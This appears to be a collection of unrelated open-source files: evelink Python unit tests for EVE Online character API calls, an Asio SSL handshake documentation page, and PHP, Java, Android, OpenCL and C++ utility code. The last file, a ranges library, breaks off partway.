text:
import mock
import unittest2 as unittest

import evelink.char as evelink_char
from tests.utils import APITestCase

class CharTestCase(APITestCase):

    def setUp(self):
        super(CharTestCase, self).setUp()
        self.char = evelink_char.Char(1, api=self.api)

    @mock.patch('evelink.char.parse_assets')
    def test_assets(self, mock_parse):
        self.api.get.return_value = mock.sentinel.assets_api_result
        mock_parse.return_value = mock.sentinel.parsed_assets

        result = self.char.assets()
        self.assertEqual(result, mock.sentinel.parsed_assets)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.assets_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/AssetList', {'characterID': 1}),
            ])

    @mock.patch('evelink.char.parse_contract_bids')
    def test_contract_bids(self, mock_parse):
        self.api.get.return_value = mock.sentinel.contract_bids_api_result
        mock_parse.return_value = mock.sentinel.parsed_contract_bids

        result = self.char.contract_bids()
        self.assertEqual(result, mock.sentinel.parsed_contract_bids)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.contract_bids_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/ContractBids', {'characterID': 1}),
            ])

    @mock.patch('evelink.char.parse_contract_items')
    def test_contract_items(self, mock_parse):
        self.api.get.return_value = mock.sentinel.contract_items_api_result
        mock_parse.return_value = mock.sentinel.parsed_contract_items

        result = self.char.contract_items(12345)
        self.assertEqual(result, mock.sentinel.parsed_contract_items)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.contract_items_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/ContractItems', {'characterID': 1, 'contractID': 12345}),
            ])

    @mock.patch('evelink.char.parse_contracts')
    def test_contracts(self, mock_parse):
        self.api.get.return_value = mock.sentinel.contracts_api_result
        mock_parse.return_value = mock.sentinel.parsed_contracts

        result = self.char.contracts()
        self.assertEqual(result, mock.sentinel.parsed_contracts)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.contracts_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/Contracts', {'characterID': 1}),
            ])

    @mock.patch('evelink.char.parse_wallet_journal')
    def test_wallet_journal(self, mock_parse):
        self.api.get.return_value = mock.sentinel.journal_api_result
        mock_parse.return_value = mock.sentinel.parsed_journal

        result = self.char.wallet_journal()
        self.assertEqual(result, mock.sentinel.parsed_journal)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.journal_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/WalletJournal', {'characterID': 1}),
            ])

    def test_wallet_paged(self):
        self.api.get.return_value = self.make_api_result("char/wallet_journal.xml")

        self.char.wallet_journal(before_id=1234)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/WalletJournal', {'characterID': 1, 'fromID': 1234}),
            ])

    def test_wallet_limit(self):
        self.api.get.return_value = self.make_api_result("char/wallet_journal.xml")

        self.char.wallet_journal(limit=100)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/WalletJournal', {'characterID': 1, 'rowCount': 100}),
            ])

    def test_wallet_info(self):
        self.api.get.return_value = self.make_api_result("char/wallet_info.xml")

        result = self.char.wallet_info()

        self.assertEqual(result,
            {
                'balance': 209127923.31,
                'id': 1,
                'key': 1000,
            }
        )
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/AccountBalance', {'characterID': 1}),
            ])

    def test_wallet_balance(self):
        self.api.get.return_value = self.make_api_result("char/wallet_balance.xml")

        result = self.char.wallet_balance()

        self.assertEqual(result, 209127923.31)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/AccountBalance', {'characterID': 1}),
            ])

    @mock.patch('evelink.char.parse_wallet_transactions')
    def test_wallet_transcations(self, mock_parse):
        self.api.get.return_value = mock.sentinel.transactions_api_result
        mock_parse.return_value = mock.sentinel.parsed_transactions

        result = self.char.wallet_transactions()
        self.assertEqual(result, mock.sentinel.parsed_transactions)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.transactions_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/WalletTransactions', {'characterID': 1}),
            ])

    def test_wallet_transactions_paged(self):
        self.api.get.return_value = self.make_api_result("char/wallet_transactions.xml")

        self.char.wallet_transactions(before_id=1234)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/WalletTransactions', {'characterID': 1, 'fromID': 1234}),
            ])

    def test_wallet_transactions_limit(self):
        self.api.get.return_value = self.make_api_result("char/wallet_transactions.xml")

        self.char.wallet_transactions(limit=100)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/WalletTransactions', {'characterID': 1, 'rowCount': 100}),
            ])

    @mock.patch('evelink.char.parse_industry_jobs')
    def test_industry_jobs(self, mock_parse):
        self.api.get.return_value = mock.sentinel.industry_jobs_api_result
        mock_parse.return_value = mock.sentinel.industry_jobs

        result = self.char.industry_jobs()

        self.assertEqual(result, mock.sentinel.industry_jobs)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/IndustryJobs', {'characterID': 1}),
            ])
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.industry_jobs_api_result),
            ])

    @mock.patch('evelink.char.parse_kills')
    def test_kills(self, mock_parse):
        self.api.get.return_value = mock.sentinel.kills_api_result
        mock_parse.return_value = mock.sentinel.kills

        result = self.char.kills()

        self.assertEqual(result, mock.sentinel.kills)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/KillLog', {'characterID': 1}),
            ])
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.kills_api_result),
            ])

    def test_kills_paged(self):
        self.api.get.return_value = self.make_api_result("char/kills_paged.xml")

        self.char.kills(12345)
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/KillLog', {'characterID': 1, 'beforeKillID': 12345}),
            ])

    def test_character_sheet(self):
        self.api.get.return_value = self.make_api_result("char/character_sheet.xml")

        result = self.char.character_sheet()

        self.assertEqual(result, {
            'id': 150337897,
            'name': 'corpslave',
            'create_ts': 1136073600,
            'race': 'Minmatar',
            'bloodline': 'Brutor',
            'ancestry': 'Slave Child',
            'gender': 'Female',
            'corp': {
                'id': 150337746,
                'name': 'corpexport Corp',
            },
            'alliance': {
                'id': None,
                'name': None
            },
            'clone': {
                'name': 'Clone Grade Pi',
                'skillpoints': 54600000,
            },
            'balance': 190210393.87,
            'attributes': {
                'charisma': {
                    'base': 7,
                    'total': 8,
                    'bonus': {'name': 'Limited Social Adaptation Chip', 'value': 1}},
                'intelligence': {
                    'base': 6,
                    'total': 9,
                    'bonus': {'name': 'Snake Delta', 'value': 3}},
                'memory': {
                    'base': 4,
                    'total': 7,
                    'bonus': {'name': 'Memory Augmentation - Basic', 'value': 3}},
                'perception': {
                    'base': 12,
                    'total': 15,
                    'bonus': {'name': 'Ocular Filter - Basic', 'value': 3}},
                'willpower': {
                    'base': 10,
                    'total': 13,
                    'bonus': {'name': 'Neural Boost - Basic', 'value': 3}}},
        'skills': [{'level': 3, 'published': True, 'skillpoints': 8000, 'id': 3431},
                   {'level': 3, 'published': True, 'skillpoints': 8000, 'id': 3413},
                   {'level': 1, 'published': True, 'skillpoints': 500, 'id': 21059},
                   {'level': 3, 'published': True, 'skillpoints': 8000, 'id': 3416},
                   {'level': 5, 'published': False, 'skillpoints': 512000, 'id': 3445}],
        'skillpoints': 536500,
        'certificates': set([1, 5, 19, 239, 282, 32, 258]),
        'roles': {'global': {1 : {'id': 1, 'name': 'roleDirector'}},
                  'at_base': {1: {'id': 1, 'name': 'roleDirector'}},
                  'at_hq': {1: {'id': 1, 'name': 'roleDirector'}},
                  'at_other': {1: {'id': 1, 'name': 'roleDirector'}}},
        'titles': {1: {'id': 1, 'name': 'Member'}},
        })
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/CharacterSheet', {'characterID': 1}),
            ])

    @mock.patch('evelink.char.parse_contact_list')
    def test_contacts(self, mock_parse):
        self.api.get.return_value = mock.sentinel.contacts_api_result
        mock_parse.return_value = mock.sentinel.parsed_contacts

        result = self.char.contacts()
        self.assertEqual(result, mock.sentinel.parsed_contacts)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.contacts_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/ContactList', {'characterID': 1}),
            ])

    @mock.patch('evelink.char.parse_market_orders')
    def test_orders(self, mock_parse):
        self.api.get.return_value = mock.sentinel.orders_api_result
        mock_parse.return_value = mock.sentinel.parsed_orders

        result = self.char.orders()
        self.assertEqual(result, mock.sentinel.parsed_orders)
        self.assertEqual(mock_parse.mock_calls, [
                mock.call(mock.sentinel.orders_api_result),
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/MarketOrders', {'characterID': 1}),
            ])

    def test_notifications(self):
        self.api.get.return_value = self.make_api_result("char/notifications.xml")

        result = self.char.notifications()

        self.assertEqual(result, {
            303795523: {'id': 303795523,
                        'read': True,
                        'sender_id': 671216635,
                        'timestamp': 1270836240,
                        'type_id': 16},
            304084087: {'id': 304084087,
                        'read': False,
                        'sender_id': 797400947,
                        'timestamp': 1271075520,
                        'type_id': 16}
            })

        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/Notifications', {'characterID': 1}),
            ])

    def test_notification_texts(self):
        self.api.get.return_value = self.make_api_result("char/notification_texts.xml")

        result = self.char.notification_texts(1234)

        self.assertEqual(result, {
            374044083: {'shipTypeID': 606,
                        'id': 374044083,
                        'isHouseWarmingGift': 1},
            374067406: {'dueDate': 1336342200L,
                        'amount': 25000000,
                        'id': 374067406},
            374106507: {'cost': None,
                        'declaredByID': 98105019,
                        'delayHours': None,
                        'hostileState': None,
                        'againstID': 673381830,
                        'id': 374106507},
            374119034: {'aggressorCorpID': 785714366,
                        'aggressorID': 1746208390,
                        'armorValue': 1.0,
                        'hullValue': 1.0,
                        'moonID': 40264916,
                        'shieldValue': 0.995,
                        'solarSystemID': 30004181,
                        'typeID': 16688,
                        'aggressorAllianceID': 673381830,
                        'id': 374119034},
            374133265: {'itemID': 1005888572647,
                        'payout': 1,
                        'amount': 5125528.4,
                        'id': 374133265}})

        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/NotificationTexts', {'characterID': 1, 'IDs': 1234}),
            ])

    def test_standings(self):
        self.api.get.return_value = self.make_api_result("char/standings.xml")

        result = self.char.standings()

        self.assertEqual(result, {
                'agents': {3009841: {'id': 3009841, 'name': 'Pausent Ansin', 'standing': 0.1},
                           3009846: {'id': 3009846, 'name': 'Charie Octienne', 'standing': 0.19}},
                'corps': {1000061: {'id': 1000061, 'name': 'Freedom Extension', 'standing': 0},
                          1000064: {'id': 1000064, 'name': 'Carthum Conglomerate', 'standing': 0.34},
                          1000094: {'id': 1000094, 'name': 'TransStellar Shipping', 'standing': 0.02}},
                'factions': {500003: {'id': 500003, 'name': 'Amarr Empire', 'standing': -0.1},
                             500020: {'id': 500020, 'name': 'Serpentis', 'standing': -1}}},
                )

        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/Standings', {'characterID': 1}),
            ])

    def test_research(self):
        self.api.get.return_value = self.make_api_result("char/research.xml")

        result = self.char.research()

        self.assertEqual(result, {
            3014201: {
                'id': 3014201,
                'per_day': 59.52,
                'remaining': -41461.92,
                'skill_id': 11445,
                'timestamp': 1178692470}
            })

        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/Research', {'characterID': 1}),
            ])

    def test_current_training(self):
        self.api.get.return_value = self.make_api_result("char/current_training.xml")

        result = self.char.current_training()

        self.assertEqual(result, {
            'current_ts': 1291690831,
            'end_sp': 2048000,
            'end_ts': 1295324413,
            'level': 5,
            'start_sp': 362039,
            'start_ts': 1291645953,
            'active': None,
            'type_id': 23950
            })

        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/SkillInTraining', {'characterID': 1}),
            ])

    def test_skill_queue(self):
        self.api.get.return_value = self.make_api_result("char/skill_queue.xml")

        result = self.char.skill_queue()

        self.assertEqual(result, [
            {
                'end_ts': 1295324413,
                'level': 5,
                'type_id': 23950,
                'start_ts': 1291645953,
                'end_sp': 2048000,
                'start_sp': 362039,
                'position': 0},
            {
                'end_sp': 256000,
                'end_ts': 1342871633,
                'level': 5,
                'position': 1,
                'start_sp': 45255,
                'start_ts': 1342621219,
                'type_id': 3437},
            ])

        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/SkillQueue', {'characterID': 1}),
            ])

    def test_messages(self):
        self.api.get.return_value = self.make_api_result("char/messages.xml")

        result = self.char.messages()

        self.assertEqual(result, [
                {
                    'id': 290285276,
                    'sender_id': 999999999,
                    'timestamp': 1259629440,
                    'title': 'Corp mail',
                    'to': {
                        'org_id': 999999999,
                        'char_ids': None,
                        'list_ids': None,
                    },
                },
                {
                    'id': 290285275,
                    'sender_id': 999999999,
                    'timestamp': 1259629440,
                    'title': 'Personal mail',
                    'to': {
                        'org_id': None,
                        'char_ids': [999999999],
                        'list_ids': None,
                    },
                },
                {
                    'id': 290285274,
                    'sender_id': 999999999,
                    'timestamp': 1259629440,
                    'title': 'Message to mailing list',
                    'to': {
                        'org_id': None,
                        'char_ids': None,
                        'list_ids': [999999999],
                    },
                },
            ])
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/MailMessages', {'characterID': 1}),
            ])

    def test_message_bodies(self):
        self.api.get.return_value = self.make_api_result("char/message_bodies.xml")

        result = self.char.message_bodies([297023723,297023208,297023210,297023211])

        self.assertEqual(result, {
                297023208: '
Another message
',
                297023210: None,
                297023211: None,
                297023723: 'Hi.

This is a message.

',
            })
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/MailBodies', {
                    'characterID': 1,
                    'ids': [297023723,297023208,297023210,297023211],
                }),
            ])

    def test_mailing_lists(self):
        self.api.get.return_value = self.make_api_result("char/mailing_lists.xml")

        result = self.char.mailing_lists()

        self.assertEqual(result, {
                128250439: "EVETycoonMail",
                128783669: "EveMarketScanner",
                141157801: "Exploration Wormholes",
            })
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/MailingLists'),
            ])

    def test_calendar_events(self):
        self.api.get.return_value = self.make_api_result("char/calendar_events.xml")

        result = self.char.calendar_events()

        self.assertEqual(result, {
                93264: {
                    'description': 'Join us for      EVE Online\'s Fanfest 2011!',
                    'duration': 0,
                    'id': 93264,
                    'important': False,
                    'owner': {
                        'id': 1,
                        'name': None,
                    },
                    'response': 'Undecided',
                    'start_ts': 1301130000,
                    'title': 'EVE Online Fanfest 2011',
                },
            })
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/UpcomingCalendarEvents', {
                    'characterID': 1,
                }),
            ])

    def test_calendar_attendees(self):
        self.api.get.return_value = self.make_api_result("char/calendar_attendees.xml")

        result = self.char.calendar_attendees([123, 234, 345])

        self.assertEqual(result, {
                123: {
                    123456789: {
                        'id': 123456789,
                        'name': 'Jane Doe',
                        'response': 'Accepted',
                    },
                    987654321: {
                        'id': 987654321,
                        'name': 'John Doe',
                        'response': 'Tentative',
                    },
                },
                234: {
                    192837645: {
                        'id': 192837645,
                        'name': 'Another Doe',
                        'response': 'Declined',
                    },
                    918273465: {
                        'id': 918273465,
                        'name': 'Doe the Third',
                        'response': 'Undecided',
                    },
                },
                345: {},
            })
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/CalendarEventAttendees', {
                    'characterID': 1,
                    'eventIDs': [123, 234, 345],
                }),
            ])

    @mock.patch('evelink.char.Char.calendar_attendees')
    def test_event_attendees(self, mock_calendar):
        mock_calendar.return_value = {42: mock.sentinel.attendees}
        result = self.char.event_attendees(42)
        self.assertEqual(result, mock.sentinel.attendees)

    def test_faction_warfare_stats(self):
        self.api.get.return_value = self.make_api_result("char/faction_warfare_stats.xml")

        result = self.char.faction_warfare_stats()

        self.assertEqual(result, {
                'enlist_ts': 1213135800,
                'faction': {'id': 500001, 'name': 'Caldari State'},
                'kills': {'total': 0, 'week': 0, 'yesterday': 0},
                'points': {'total': 0, 'week': 1044, 'yesterday': 0},
                'rank': {'current': 4, 'highest': 4},
            })
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/FacWarStats', {'characterID': 1}),
            ])

    def test_medals(self):
        self.api.get.return_value = self.make_api_result("char/medals.xml")

        result = self.char.medals()

        self.assertEqual(result, {
                'current': {},
                'other': {
                    4106: {
                        'corp_id': 1711141370,
                        'description': 'For taking initiative and...',
                        'id': 4106,
                        'issuer_id': 132533870,
                        'public': False,
                        'reason': 'For continued support, loyalty...',
                        'title': 'Medal of Service'}}
            })

        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/Medals', {
                    'characterID': 1
                }),
            ])

    def test_contact_notifications(self):
        self.api.get.return_value = self.make_api_result("char/contact_notifications.xml")

        result = self.char.contact_notifications()

        self.assertEqual(result, {
                308734131: {
                    'data': {
                        'level': 10,
                        'message': 'Hi, I want to social network with you!',
                    },
                    'id': 308734131,
                    'sender': {
                        'id': 797400947,
                        'name': 'CCP Garthagk',
                    },
                    'timestamp': 1275174240,
                },
            })
        self.assertEqual(self.api.mock_calls, [
                mock.call.get('char/ContactNotifications', {'characterID': 1}),
            ])

if __name__ == "__main__":
    unittest.main()


text:
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>ssl::stream::async_handshake (1 of 2 overloads)</title>
<link rel="stylesheet" href="../../../../boostbook.css" type="text/css">
<meta name="generator" content="DocBook XSL Stylesheets V1.75.2">
<link rel="home" href="../../../../index.html" title="Asio">
<link rel="up" href="../async_handshake.html" title="ssl::stream::async_handshake">
<link rel="prev" href="../async_handshake.html" title="ssl::stream::async_handshake">
<link rel="next" href="overload2.html" title="ssl::stream::async_handshake (2 of 2 overloads)">

ssl::stream::async_handshake
          (1 of 2 overloads)

            Start an asynchronous SSL handshake.

template<
    typename HandshakeHandler>
void-or-deduced async_handshake(
    handshake_type type,
    HandshakeHandler && handler);

            This function is used to asynchronously perform an SSL handshake on the
            stream. This function call always returns immediately.

            Parameters

type

                  The type of handshaking to be performed, i.e. as a client or as
                  a server.

handler

                  The handler to be called when the handshake operation completes.
                  Copies will be made of the handler as required. The equivalent
                  function signature of the handler must be:

void handler(
  const asio::error_code& error // Result of operation.
);

Copyright © 2003-2015 Christopher M.
      Kohlhoff

        Distributed under the Boost Software License, Version 1.0. (See accompanying
        file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)

redpajama_set_name: RedPajamaGithub


text:
<?php
namespace Craft;

class JsonHelper extends \CJSON
{
	// Public Methods
	// =========================================================================

	/**
	 * Sets the Content-Type header to 'application/json' and the Expires, Cache-Control, and Pragma headers
	 * to the appropriate vales so the client doesn't cache the response.
	 *
	 * @return void
	 */
	public static function sendJsonHeaders()
	{
		self::setJsonContentTypeHeader();
		HeaderHelper::setNoCache();
	}

	/**
	 * Sets the Content-Type header to 'application/json'.
	 */
	public static function setJsonContentTypeHeader()
	{
		HeaderHelper::setContentTypeByExtension('json');
	}

	/**
	 * Will remove single-line, multi-line, //, /*, comments from JSON
	 * (since comments technically product invalid JSON).
	 *
	 * @param $json
	 *
	 * @return mixed|string
	 */
	public static function removeComments($json)
	{
		// Remove any comments from the JSON.
		// Adapted from http://stackoverflow.com/a/31907095/684
		$pattern = '/(?:(?:\/\*(?:[^*]|(?:\*+[^*\/]))*\*+\/)|(?:(?<!\:|\\\|\'|\")\/\/.*))/';

		$json = preg_replace($pattern, '' , $json);
		$json = trim($json, PHP_EOL);

		return $json;
	}
}


text:
package jsky.coords.gui;

import jsky.coords.DMS;
import jsky.coords.HMS;
import jsky.util.gui.DialogUtil;

import javax.swing.*;
import java.awt.*;

/**
 * Used to reformat RA,DEC coordinates in a JTable in sexagesimal notation
 * for display.
 */
public class SexagesimalTableCellEditor extends DefaultCellEditor {

    private boolean hoursFlag;

    /** Constructor.
     *
     * @param hoursFlag if true, divide the cell value by 15 and display hours : min : sec,
     *                  otherwise display deg : min : sec.
     */
    public SexagesimalTableCellEditor(boolean hoursFlag) {
        super(new JTextField());
        this.hoursFlag = hoursFlag;
    }

    /**
     * This method is sent to the editor by the drawing table to
     * configure the editor appropriately before drawing.  Return
     * the Component used for drawing.
     *
     * @param	table		the JTable that is asking the editor to draw.
     *				This parameter can be null.
     * @param	value		the value of the cell to be rendered.  It is
     *				up to the specific editor to interpret
     *				and draw the value.  eg. if value is the
     *				String "true", it could be rendered as a
     *				string or it could be rendered as a check
     *				box that is checked.  null is a valid value.
     * @param	isSelected	true is the cell is to be editor with
     *				selection highlighting
     * @param	row	        the row index of the cell being drawn.  When
     *				drawing the header the rowIndex is -1.
     * @param	column	        the column index of the cell being drawn
     */
    public Component getTableCellEditorComponent(JTable table, Object value,
                                                 boolean isSelected,
                                                 int row, int column) {
        Component component = super.getTableCellEditorComponent(table, value, isSelected, row, column);
        double val = Double.NaN;
        if (value != null) {
            if (value instanceof Float)
                val = ((Float) value).doubleValue();
            else if (value instanceof Double)
                val = ((Double) value).doubleValue();
        }
        if (!Double.isNaN(val)) {
            if (hoursFlag) {
                ((JTextField) component).setText(new HMS(val / 15.).toString());
            } else {
                ((JTextField) component).setText(new DMS(val).toString());
            }
        }

        return component;
    }

    /** Returns the value contained in the editor */
    public Object getCellEditorValue() {
        Object o = super.getCellEditorValue();
        if (o instanceof String) {
            if (hoursFlag) {
                try {
                    HMS hms = new HMS((String) o);
                    return new Double(hms.getVal() * 15.);
                } catch (Exception e) {
                    DialogUtil.error("Invalid value: '" + o + "', expected decimal degrees or h:m:s");
                }
            } else {
                try {
                    DMS dms = new DMS((String) o);
                    return new Double(dms.getVal());
                } catch (Exception e) {
                    DialogUtil.error("Invalid value: '" + o + "', expected decimal degrees or d:m:s");
                }
            }
        }
        return o;
    }
}


text:
/*
 *  PG70Gripper.cpp
 *
 *  For controlling the parallel PG70 gripper
 *  Created on: Aug 10, 2012
 *  Authors:   Francisco Viña
 *            fevb <at> kth.se
 */

/* Copyright (c) 2012, Francisco Vina, CVAP, KTH
   All rights reserved.

   Redistribution and use in source and binary forms, with or without
   modification, are permitted provided that the following conditions are met:
      * Redistributions of source code must retain the above copyright
        notice, this list of conditions and the following disclaimer.
      * Redistributions in binary form must reproduce the above copyright
        notice, this list of conditions and the following disclaimer in the
        documentation and/or other materials provided with the distribution.
      * Neither the name of the KTH nor the
        names of its contributors may be used to endorse or promote products
        derived from this software without specific prior written permission.

   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
   ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
   DISCLAIMED. IN NO EVENT SHALL KTH BE LIABLE FOR ANY
   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
   LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
   ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
   (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
   SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#ifndef PG70GRIPPER_H_
#define PG70GRIPPER_H_

#include <dumbo_powercube_chain/PowerCubeCtrl.h>

class PG70Gripper: public PowerCubeCtrl
{
public:
    PG70Gripper(boost::shared_ptr<PowerCubeCtrlParams> params,
                boost::shared_ptr<pthread_mutex_t> CAN_mutex,
                boost::shared_ptr<canHandle> CAN_handle);

    PG70Gripper(boost::shared_ptr<pthread_mutex_t> CAN_mutex,
                boost::shared_ptr<canHandle> CAN_handle);

	virtual ~PG70Gripper();

    bool close()
	{
		if(m_CANDeviceOpened)
		{
			m_Initialized = false;
			m_CANDeviceOpened = false;
			return true;
		}

		else
		{
			return false;
		}
	}

	// it is assumed that CAN communication has started with PowerCubeCtrl object
    bool init();

    bool recover();

	bool updateStates();

    bool movePos(double target_pos);

    bool moveVel(double target_vel);

	bool CloseGripper(double target_vel, double current_limit);

	double getMaxCurrent()
	{
		return m_MaxCurrent;
	}

	void setMaxCurrent(double MaxCurrent)
	{
		m_MaxCurrent = MaxCurrent;
	}

	bool DoHoming();

    bool executingPosCommand();

private:
    double m_MaxCurrent;
    bool m_executing_pos_command;

};

#endif /* PG70GRIPPER_H_ */


text:
package com.bruce.demo.studydata.activities.floatwindow;

import android.content.Context;
import android.content.SharedPreferences;

public class SharedPreferencesUtil {

    private static SharedPreferences sp;
    private static String SP_NAME = "vpnConfig";

    public static int getInt(Context context, String key, int defValue) {
        if (sp == null)
            sp = context.getApplicationContext().getSharedPreferences(SP_NAME, Context.MODE_MULTI_PROCESS);
        return sp.getInt(key, defValue);
    }

    public static void saveInt(Context context, String key, int value) {
        if (sp == null)
            sp = context.getApplicationContext().getSharedPreferences(SP_NAME, Context.MODE_MULTI_PROCESS);
        sp.edit().putInt(key, value).commit();
    }

    public static boolean getBoolean(Context context, String key, boolean defValue) {
        if (sp == null)
            sp = context.getApplicationContext().getSharedPreferences(SP_NAME, Context.MODE_MULTI_PROCESS);
        return sp.getBoolean(key, defValue);
    }

    public static void saveBoolean(Context context, String key, boolean value) {
        if (sp == null)
            sp = context.getApplicationContext().getSharedPreferences(SP_NAME, Context.MODE_MULTI_PROCESS);
        sp.edit().putBoolean(key, value).commit();
    }

    public static String getString(Context context, String key, String defValue) {
        if (sp == null)
            sp = context.getApplicationContext().getSharedPreferences(SP_NAME, Context.MODE_MULTI_PROCESS);
        return sp.getString(key, defValue);
    }

    public static void saveString(Context context, String key, String value) {
        if (sp == null)
            sp = context.getApplicationContext().getSharedPreferences(SP_NAME, Context.MODE_MULTI_PROCESS);
        sp.edit().putString(key, value).commit();
    }
}


text:
#include <Array.hpp>

namespace opencl {
template<typename T>
Array<T> exampleFunction(const Array<T> &a, const Array<T> &b,
                         const af_someenum_t method);
}


text:
template<typename T>
class Array;

namespace mu
{
	// Functions to automatically construct ranges from pointers/arrays
	template<typename T>
	auto Range(T* ptr, size_t num)
	{
		return Range(ptr, ptr + num);
	}

	template<typename T>
	auto Range(T* start, T* end)
	{
		return ranges::PointerRange<T>(start, end);
	}

	template<typename T, size_t SIZE>
	auto Range(T(&arr)[SIZE])
	{
		return Range(arr, arr + SIZE);
	}

	template<typename T>
	auto Range(Array<T>& arr)
	{
		return Range(arr.Data(), arr.Num());
	}

	template<typename T>
	auto Range(const Array<T>& arr)
	{
		return Range(arr.Data(), arr.Num());
	}

	template<typename RANGE>
	auto Range(RANGE&& r)
	{
		return std::forward<RANGE>(r);
	}

	template<typename... RANGES>
	auto Zip(RANGES... ranges) { return ranges::ZipRange<RANGES...>(Range(ranges)...); }

	template<typename T=size_t>
	inline auto Iota(T start = 0) { return ranges::IotaRange<T>(start); }

	template<typename IN_RANGE, typename FUNC>
	auto Transform(IN_RANGE&& r, FUNC&& f)
	{
		return ranges::TransformRange<IN_RANGE, FUNC>(
			std::forward<std::decay<IN_RANGE>::type>(r),
			std::forward<std::decay<FUNC>::type>(f));
	}
	namespace ranges
	{
		using mu::functor::Fold;
		using mu::functor::FoldOr;
		using mu::functor::FMap;
		using mu::functor::FMapVoid;

		namespace details
		{
			template<typename T> struct WithBeginEnd;
		}

		// A linear forward range over raw memory of a certain type
		template<typename T>
		class PointerRange : public details::WithBeginEnd<PointerRange<T>>
		{
			T* m_start, *m_end;

		public:
			static constexpr bool HasSize = true;

			PointerRange(T* start, T* end)
				: m_start(start)
				, m_end(end)
			{}

			void Advance() { ++m_start; }
			void AdvanceBy(size_t num) { m_start += num; }

			bool IsEmpty() const { return m_start >= m_end; }
			T& Front() { return *m_start; }
			const T& Front() const { return *m_start; }
			size_t Size() const { return m_end - m_start; }

			template<typename U>
			bool operator==(const PointerRange<U>& other) const
			{
				return m_start == other.m_start
					&& m_end == other.m_end;
			}

			template<typename U>
			bool operator!=(const PointerRange<U>& other) const
			{
				return m_start != other.m_start
					|| m_end != other.m_end;
			}

			PointerRange MakeEmpty() const { return PointerRange{ nullptr, nullptr }; }
		};

		// A linear infinite range over an integral type
		template<typename T>
		class IotaRange
		{
			T m_it = 0;
		public:
			enum { HasSize = 0 };

			IotaRange() {}
			IotaRange(T start = 0) : m_it(start)
			{
			}

			void Advance() { ++m_it; }
			bool IsEmpty() const { return false; }
			T Front() { return m_it; }
		};

		// ZipRange combines multiple ranges and iterates them in lockstep
		template<typename... RANGES>
		class ZipRange : public details::WithBeginEnd<ZipRange<RANGES...>>
		{
			std::tuple<RANGES...> m_ranges;

			template<size_t... INDICES>
			ZipRange MakeEmpty(std::index_sequence<INDICES...>) const
			{
				return ZipRange{ std::get<INDICES>(m_ranges).MakeEmpty()... };
			}

		public:
			static constexpr bool HasSize = FoldOr(RANGES::HasSize...);

			ZipRange(RANGES... ranges) : m_ranges(ranges...)
			{
			}

			bool IsEmpty() const
			{
				return FoldOr(FMap<details::RangeIsEmpty>(m_ranges));
			}

			void Advance()
			{
				FMapVoid<details::RangeAdvance>(m_ranges);
			}

			auto Front()
			{
				return FMap<details::RangeFront>(m_ranges);
			}

			template<typename T = ZipRange, typename std::enable_if<T::HasSize, int>::type = 0>
			size_t Size() const
			{
				return Fold<details::RangeMinSizeFolder>(
					std::numeric_limits<size_t>::max(), m_ranges);
			}

			ZipRange MakeEmpty() const { return MakeEmpty(mu::functor::details::TupleIndices<decltype(m_ranges)>()); }
		};

